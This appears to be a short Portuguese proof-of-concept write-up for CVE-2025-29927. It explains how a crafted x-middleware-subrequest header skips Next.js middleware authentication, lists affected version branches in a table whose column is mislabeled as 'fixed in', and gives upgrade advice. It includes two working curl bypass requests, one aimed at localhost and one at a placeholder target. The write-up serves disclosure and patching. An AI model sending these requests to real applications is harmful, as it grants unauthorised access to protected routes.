
Exploit de prova de conceito para CVE-2025-29927, demonstrando bypass de autenticação no middleware Next.js via cabeçalho x-middleware-subrequest, com versões afetadas e orientações de mitigação.
Imagine um porteiro na frente da boate, mas se você disser “Já estou dentro”, ele deixa passar sem verificar. É exatamente isso que é o CVE-2025-29927.
O middleware no Next.js é executado antes de uma requisição ser processada, tornando-o o local ideal para lidar com autenticação. O Next.js usa um cabeçalho interno x-middleware-subrequest para evitar requisições recursivas e loops infinitos. Esta vulnerabilidade demonstra que é possível ignorar ou pular completamente a execução do middleware — incluindo verificações críticas de segurança, como autenticação, antes de chegar a uma rota protegida.
| Ramificação | Corrigido em |
|---|---|
| 15.x | < 15.2.3 |
| 14.x | < 14.2.25 |
| 13.x | < 13.5.9 |
Milhares ou milhões de aplicações rodam em versões não corrigidas do Next.js. Se não mitigada, esta vulnerabilidade permite acesso não autenticado a rotas protegidas por qualquer pessoa — sem necessidade de credenciais.
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/private-area
A resposta retorna a página protegida sem nenhuma autenticação.
curl -s "http://<target>/<private-area>" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
Atualize o Next.js para uma versão corrigida:
15.x → 15.2.3 ou superior14.x → 14.2.25 ou superior13.x → 13.5.9 ou superior